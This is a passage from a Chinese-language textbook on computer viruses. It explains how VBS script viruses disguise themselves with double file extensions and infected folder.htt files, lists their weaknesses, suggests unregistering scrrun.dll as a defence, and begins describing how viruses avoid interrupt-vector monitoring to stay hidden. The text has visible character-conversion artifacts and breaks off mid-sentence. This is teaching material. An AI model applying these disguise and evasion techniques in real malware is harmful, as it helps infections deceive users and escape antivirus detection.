(3)引誘用戶執(zhí)行主要辦法是讓用戶產(chǎn)生錯(cuò)覺。如病毒發(fā)送附件時(shí),采用雙后綴文件名,使用戶產(chǎn)生錯(cuò)覺。例如,使用文件名xxxx.jpg.vbs。由于默認(rèn)情況下不顯示后綴,所以這個(gè)雙后綴文件被顯示為xxxx.jpg,用戶將其誤認(rèn)為是圖片文件而去點(diǎn)擊,執(zhí)行了病毒程序。(4)desktop.ini和folder.htt配合使用desktop.ini和folder.htt可用以配置活動(dòng)桌面,并用以自定義文件夾。如果用戶的目錄中含有著兩個(gè)文件,并且病毒感染了folder.htt,則當(dāng)用戶進(jìn)入該目錄時(shí),就會觸發(fā)folder.htt中的病毒代碼。

6.VBS腳本病毒的弱點(diǎn)(1)VBS腳本病毒的運(yùn)行,往往要用到一個(gè)對象:FileSystemObject。(2)VBS腳本病毒運(yùn)行時(shí)需要其關(guān)聯(lián)程序wscript.exe的支持。(3)VBS代碼要通過WindowsAcriptHost解釋執(zhí)行。(4)通過網(wǎng)頁傳播的病毒需要ActiveX的支持。(5)通過郵件傳播的病毒需要OutlookExpress的自動(dòng)發(fā)送郵件功能的支持。這些弱點(diǎn)可以被用于病毒的防治。例如,禁用對象FileSystemObject

用regsvr32scrrun.dll/u命令,或者直接查找scrrun.dll文件加以刪除或改名)可以有防范作用。

1.3.6計(jì)算機(jī)病毒技巧俗話說,道高一尺,魔高一丈。計(jì)算機(jī)病毒也隨著反病毒技術(shù)的發(fā)展不斷演變、升級。下面是計(jì)算機(jī)病毒在技術(shù)方面的一些技巧。1.增強(qiáng)隱秘性為了使病毒能長期潛伏,病毒就要增強(qiáng)自己的隱秘性。下面是幾種增強(qiáng)隱秘性的技術(shù)。(1)避開修改中斷變量:早期的病毒程序都要直接修改中斷服務(wù)子程序,以控制常用中斷功能。因此,許多反病毒軟件都對系統(tǒng)的中斷向量表進(jìn)行監(jiān)視,一旦發(fā)現(xiàn)任何對系統(tǒng)內(nèi)存中斷向量表進(jìn)行修改的操作,就會懷疑有病毒在活動(dòng)。針對這一反病毒技術(shù),病毒程序就要避免修改中斷向量表時(shí)留下痕跡。

例如,有的病毒程序,改修改中斷向量的控制方式為通過修改中斷服務(wù)子程序,來獲得系統(tǒng)控制權(quán)。一種方法是前面介紹過的通過修改COM文件首指針的方法修改中斷服務(wù)程序,基本步驟為

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論